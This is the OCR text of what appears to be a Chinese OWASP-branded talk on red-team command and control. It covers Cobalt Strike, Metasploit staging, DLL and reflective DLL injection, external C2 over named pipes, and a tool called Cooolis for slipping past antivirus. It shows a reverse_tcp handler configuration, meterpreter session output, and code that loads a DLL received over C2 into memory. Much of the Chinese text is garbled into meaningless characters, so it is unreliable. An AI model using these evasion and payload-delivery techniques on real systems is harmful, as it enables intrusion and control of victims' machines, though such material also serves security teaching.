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OWASP - ™0 {EZ21ESHD

HZE) INRFEIE
0x00 B =

AXHMREBER, BERTRII—TZENNEEERE, 5ETITXRXENEXMETSEC—
T4, B, HRBGBNRELSTFRERNES, —5—1TRNEHK.

“NREXRRBEXIMITET, B ITREREREA—EET, TBEARE, FFK, BX
@, ARG, HEAE, BEHIBIEIR” - Micropoor

0x01 FB1ENENX

T BT RZEBRE, BIANEEENEXME:

X

H

[root@localhost ~]# ./pentest
==> “HEIRBE—ENRENIFEEETH, "

0x02 C2(Command and Control){&E

C2, HEXALXRETEHTERZDI5EH, EEANRARNANTEARS, E—MEERT
FEEH =TS T EIRNRAFER, ITRAFREESETSMNERE ((TENRE. &
8) NHE,

XNMZMIBNEERZSMAR, EFHTTP. SMTP, HTTPS. FEHIERX. ...,
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» C2IS — Command and Control Information Systems
e C2ISR — C2I plus Surveillance and Reconnaissance
« C2ISTAR — C2 plus ISTAR (Intelligence, Surveillance, Target Acquisition, and Reconnaissance)

e C3 — Command, Control & Communication (Human activity focus)

« C3 — Command, Control & Communications (Technology focus)

s C3 — Consultation, Command, and Control [NATO]

» C3l — 4 possibilities; the most common is Command, Control, Communications and Intelligence

« C3ISTAR — C3 plus ISTAR

o C3ISREW — C2ISR plus Communications plus Electronic Warfare (Technology focus)

o C4, C4l, C4ISR, C4ISTAR, CAISREW, CAISTAREW — plus Computers (Technology focus) or Computing (Human activity focus)l14115]
e CH2 — Command, Control, Communications, Computers, Intelligence, and Interoperability

» C5| — Command, Control, Communications, Computers, Collaboration and Intelligence

e NC2 — Nuclear command and control

e NC3 — Nuclear command and control and communications

0x03 C2Hy[RIE

i 2 SIEHRRIEM E B i SR £ SR S 2 RIimHITRE, THEREIELHIT.

i

RE: AN E—THEERNMEER

LS EHETH L —-REFESTSRERFZROATRE, HIal: RERBE. XHFE5. #
EEEE,

0x04 5781 FF & — Cobalt Strike

Cobalt Strike@2— "1 EBFEE. ZAMER. éIIZ}\ﬁ{E}:i/n"‘*o EXEZABE. XRHE
5. XHIRE. B HEe5E.... EFESMINEE, FRERFEIE ifteamserverifi o] LATE(E

N

BYEE biFEiEteamserveri#{T83E .

https://www.cobaltstrike.com/
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Wmetasploit”

Metasploit Framework@— MNEFEE . FFR. EQ?UFFHSIECE’\J?C‘:EWQZ{E”SO B IFIX R4
. R, IR, EEBE. 84K . S2MINEE, FE2EEMRE.

https://www.metasploit.com/

0x06 [531ERIES

BI-EERNTE. TREE, HELE—LEUTILITESE

B OWAPS-EHX i EPPT-{HiliE

B NTREB EE WA

v R v A 30 v o v
o -1 B
53 55) EH Rk pes i HF tRIEHR RoRseRE
vvvvvvvvvv

6. /512 1E K

g - BRI |
'm:,/ Gl X - e ﬁﬁﬁm?ﬂ% *IZE:jJ
° S el merk i Dé\ﬁéiﬂ“ -

S v = e
’;ézzwm %“‘&J Iﬁ: ’fgﬁ b=

R

@ owunsp

7.PAYLOADIEN H ERHLES A A 7750
bk ERARTRT - 1
e iy H AR AT
* NETEA

| @OAN/4s x(RE) =gz mpz Bl 52 § - —— —+ 120% B |

REFKRMDEBRTR—TEFEXET. REUERT. HRMEEESR, MASSIESRERM
RV TEms,

MESREZRZH Y
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o IR

0x07 PAYLOAD# N Birflz3REA A
EBAMNBSEIREER, NTIHRE—TENINR, EARLBEKREBDHNNEEEB RS ENAE
MHITIES, ENRIEAKRESDBE—1E1]. IHEEF.
MHEARN AT
o N EEARSHIT - &t

Powershell -> IEX
DLL3F A -> regsvr32, rundll32
NETHN -> .cs -> csc.exe -> target.exe

0x08 PAYLOADH KR

o JHIIhR

e DLL Injection (DLLJEN)

* Reflective DLL injection (&RSIDLL}EN)
e Stager

Hep, KREBDENABR T, MetasploitEpiRvEl2Stager, FIBUEEFN—1 T RZERAEY
BAMEZE, MERNERIERMEShellcode, DLLEZEXEZPEIINHIX .,

M REEMBERBE—MINEE, HlIRE—Temd, FAT—TRIERSSHZ.

DLL Injection, HEXMAEXERR ERAEER, ANERZE—TPEXH, (BRERESLI—
TINEERNINEE, RIMLENAR, FRUAFHZIXE,

Reflective DLL injection (REIDLLIEAN) , XTRAEZLERHBET, ER—TXRIAUBE
KRB EZZOEAR, TERRKISEENE,

0x09 DLL Injection5DLL HijackingB9+t 4

DLL ##EH5DLL FABEEIE 21N, EAXLHASEE, eNHEMME B8
E: “DLL ¥ N\SDLL#EH BIE2IEDLLARRB I BimHE R TH—ARFER, 7

0x10 DLL Injection5DLL Hijackingfg/™4%

Injection:
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Hijacking

o DLL #1315 REEA N s 1T,

o DLL $1EFAEEQIZEHIZ, HWEIE.,
0x11 WindowsAFEIE ST

32{iiWindowshSi#iZ itk X

(et

0x00000000 ~ Ox0000FFFF }-64!( SEHHEESE

-

2GB = 0x00010000 - Ox7FREFAFF >~ E12GB AFERa X

o

Ox7FFFOO00 ~ Ox7FFFFFFF }-64K BARE

-

0xB0000000 ~ OxFFRFFFFF ~ 2GE FERT o E

it

32 WindowsiRIERSIH, B THEHEE — T IHI ML E4GBEMIbILZ B, HAFEE
2 R UL == 8] S5 IR A TR bt AT ISR

o 32fiikt: 0x00000000 ~ OXFFFFFFFF
o 64fiiit: 0x00000000*2 ~OxFFFFFFFF * 2

HTFAFRENREMNUBANZ FEERADLLUEN . DLLAIFFIRARES BREERITHRIIN
R, R EERENED U EFHRITHERETR, MAIBMER. 125 BinARENRE
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0x12 SLI—1DLL Injecion

WMTBLZ, REZIE—1DLLEANIE?
DLLUENBYRAZ:

o FREVHIZANR

o HIFATRE

* EADLLE]E

o jXBEYLoadLibrarypR £ ithilt
o AIELTE

DLL Injection Example

0x13 REIDLL;E N\ (Reflective DLL injection)

XERERER—LEEWindows PEAR A E AT 2 -

— iR §
— reloct i R dim
pre ENE|
o « rZXCTmM iﬂmﬁ‘]?rl_]-n
— .data®s
. LtextT
- r = IMAGE_SECTION_HEADERZE #4 i ggﬁi%éﬁé?ﬁ%ﬁ
5 —
||_15 = IMAGE_DATA_DIRECTORTE 4 ] j HIEEFRE ——

[:i 3 PESLFF & INAGE_OPTIONAL_HEADER32%% 13 R

INAGE_FILE_HEADER%E 1) e PEV X%

! “PE” » 05 0 me#%ﬁﬁ
DOS Stub $ osiz
r IMAGE_DOS_HEADERES 43 Qnos ML ST PESk Tk !

PEX {4544

L

EWindowsH, FIERY (exe. dll) EXHHRINIAEE—EMNE, BIANSRNEBEE—1ER
HRIEHE, BRIERGEBRNEE NI T ERIAFZEREPER UGN, EiZNEE
TEINEEL,

BIPEXHEDBUTIL N TRAMN:

e DOSL
e PESL
e P
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KT UVVOXRT TZXHIVRXITITUJOTRIN [T&a1), FEXRIZXZHI T TMAORIFEXTTRYE | Islx,

MPRATHEPEXHNTEIR. SAKR, HHENUESFFRIZER.

BIPEXHNNRFHBE—TIUSARN—KER, XTXREBBPTBITXTPEXHZH, F
EINEMPLEDLLRIR ,

ﬁg/l\@']?' WREET—NEFE, BFEERNQ.exe, MQ.exefBEAEFIER TA.AIFH
PRER, IBAmiFesEmQ.exefIi®, SESAKFENAAIXTREF, Q.exeiz{Tht,
BRIERS u:lakHY—.r)\%% EAJINEZRIQ.exeMAET B, XEFQ7 BEAFHARexecREN ,

XM EREPARREESEBE—TWindowsiZERZIAPI :

Fitb, SEI—REIDLLFANZFF L Windows LoadLibrary
https://github.com/fancycode/MemoryModule

BRIFSEYE (Anti-virus software) Z{AF=ZEDLLIENAIE?

ZEEM=2: Hook LoadLibrary, i%HlLoadLibraryf95%1, EFIDLLXXEHITER,

RBAIF LI —LoadLibrary, FEESI AR RBESRE, MMLESEERERE
REMSONF,

PS: I T —"LoadlLibrary®EXI—MINEEE, XIFERFPHARRRATEE, XB
A LASZEMetasploitfStagert&=,, FHBMAT T,

0Ox14 Cobalt Strike external C2
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HiheRIEE

Controller

TCP Connection

l
Attacker @ — — -

Target
g P
~

~
Third-party SMB Beacon
Client

z named pipe !;

Cobalt Strikex2 fF#H&C2, XM HHRC2HNIEANAIERIFE RE, KEBATAENA,
HARANBENTIERE, AINEEMTHPDF, XKESEXE,

TFIRE:

https://payloads.online/archivers/2019-03-30/2
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session rrom
controller

Inject stage into a

process.
Start named pipe
server

Connect to named

pipe server
<- Write metadata

<- Relay metadata

data

2 Connect to
External C2

3 <- Send options

4 <- Request stage

5 Send stage ->

6 Relay stage ->

7

8

9

10

11

12 <- Relay meta

13 Process metadata

A new Beacon session appears within Cobalt Strike

14 User tasks session
or empty task made
15 Write tasks ->
16 Relay tasks ->
17
18
19
20

Relay tasks ->

Process tasks

<- Write response
<- Relay response

21 <- Relay response

22 Processresponse

Repeat steps 14 -

24

HpF4AE:

22 while session is alive
Session exits

e Team Server : Cobalt Strike FiHEIEIEF

e Cobalt Strike external C2 Server:

B P imEdE

FEHTeamServer k4, AT &IEPAYLOADFI#EUL

e Controller : 1Z#lzs, AFME=AEERE

e Other Beacon: X T HlEmANG

RAzE: F'E)Jteamserver nEy BRS,

T B LizfTiEhlEs, =HlRsmy BIRSS

ESPAYLOAD, BA—1EE, BIMKDIENEE, ET0E, BEEESZHISRARIE

B, EHSRERERRGT BIRSS, XiF
2R E P in S R 2B E AR s
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0x20000000
(20 bytes LE)

RN FDIREEENKN (MEEXE) , EEMIEUE.

%EP?ESU’_ ZEH S EEBFEADNERIEFIMNZEAEENARMN, TUEXH. A
7. BB, HESF...

Tips: BRI SREESIERIZREF in < BREHPTNHTRERS, BNGINEEER
=2
H o

M EWindowsF] T #IZBIERITIK:

Windows #F2&(5 BRI£K

X (1/01%%) ReadFile/WriteFile
HTE CreateMailslot
BiE CreatePipe

EETF socket

BIMAHR OpenClipboard

X AFBRGY CreateFileMapping

EAENGFRETMNEXHHE.

0x15 Cooolis — Bypass AV (Cobalt Metasploit)

CooolisEH B —Z1FCobalt Strike. Metasploit® ARz~ _E 4 ANE S, XEERNUTE
I 4533 fl9Windows Defender:
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BRikEe2A AHDLLAR, ®@idrundlI32iFH,

0x15 Cooolis — Bypass AV - [RIE

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/patchupdllinject/reverse_tcp):

Name Current Setting Required Description

DLL The local path to the DLL to upload

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none
LHOST 172.16.172.1 The listen address (an interface may be specified)

LPORT 7878 The listen port

Exploit target:

Id Name

Wildcard Target

EMetasploitifiE T, FfEARAT FTF 7 sk
BRIBIHE D, B ERERE—TDLLTE.
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Payload Payload opts

Exploit: multi/handler windows/patchupdllinject/reverse_tcp tcp://172.16.172.1:4489
Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://172.16.172.1:7878

exploit(multi/handler) >
Sending stage (2650 bytes) to 172.16.172.1
Uploading DLL (5128 bytes)...
Upload completed.
Sending stage (179779 bytes) to 172.16.172.1
Meterpreter session 8 opened (172.16.172.1:7878 -> 172.16.172.1:58294) at 2019-01-21 20:20:46 +0800
Sending stage (2650 bytes) to 172.16.172.1
Uploading DLL (5128 bytes)...
Upload completed.

L ERES MRERNFIH PE XML, REMERRBANFZE, BEH
*ﬂtﬁo
36 ffZeroMemory(ptP dw51ze),
37 dwSize = C2.ExternalRecvALL((CHAR *)ptr,29696);
38
o 39 HMEMORYMODULE module = MemorylLoadLibrary(ptr);
40 if (module == NULL)
41 {
42 printf("Can't load library from memory.\n");
100% ~ 4
HFR &
® arge 1
4 * argv 0x001e6c38 {0x001e6c40 "C:A\\Users\\RvnOxsy\\Dacuments\\Visual Studic 2012\\Projects’
* moadule Qxccooeoee
-EEIIIIIIIIIIIIFIﬂmHﬁﬂEMIIFIIIIIIIIIIIIIIIIIIIIIIIII
= MM Sreerereee
1w 2 {externalSock=196}
= dwSize 7786

©x002194C2 9@ 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 VO |[MZP............. 2o,
0x002194D7 ©O 00 00 40 00 00 PO 0O 0O 0O 0O 0O OO 00 0O 0O 00 B0 00 00 VO ...@......covvvvunnn.
Ox002194EC 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dO 00 00 .........vevvuvvnnn ?..
0x00219501 00 Qe 1f ba Qe 00 b4 09 cd 21 b8 01 4c cd 21 54 68 65 73 20 70 ...?..?.?!?2.L?!This p

0x00219516 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 rogram cannot be run
0x0021952B 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d @d @a 24 00 00 00 00 00 in DOS mode....$.....

0x16 SEZE FAYAPTHRARSCIG

XTHREX, SI0ETERES., ,

inn

NERMEADE. HARR, —IAREREFENERE R,
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B EFRG TR, BiH—E.

5=

e http://www.otpub.com/home/article/details/id/5736.html

e https://blog.csdn.net/china_jeffery/article/details/79610915

e https://www.cnblogs.com/HsinTsao/p/6528053.html

e https://www.cnblogs.com/inva/p/4971331.html

e https://www.cnblogs.com/LittleHann/p/6336950.html

e https://www.cnblogs.com/h2zZhou/p/7721797 .html

e https://www.cnblogs.com/cuish/p/3804990.html

e https://www.jianshu.com/p/c400b2067c6e

* https://gitee.com/china_jeffery/MemoryModule/blob/master/sample/DllLoader/DlILoader.cf
e https://qiye.163.com/help/3338ea.html

e https://www.cobaltstrike.com/downloads/externalc2spec.pdf
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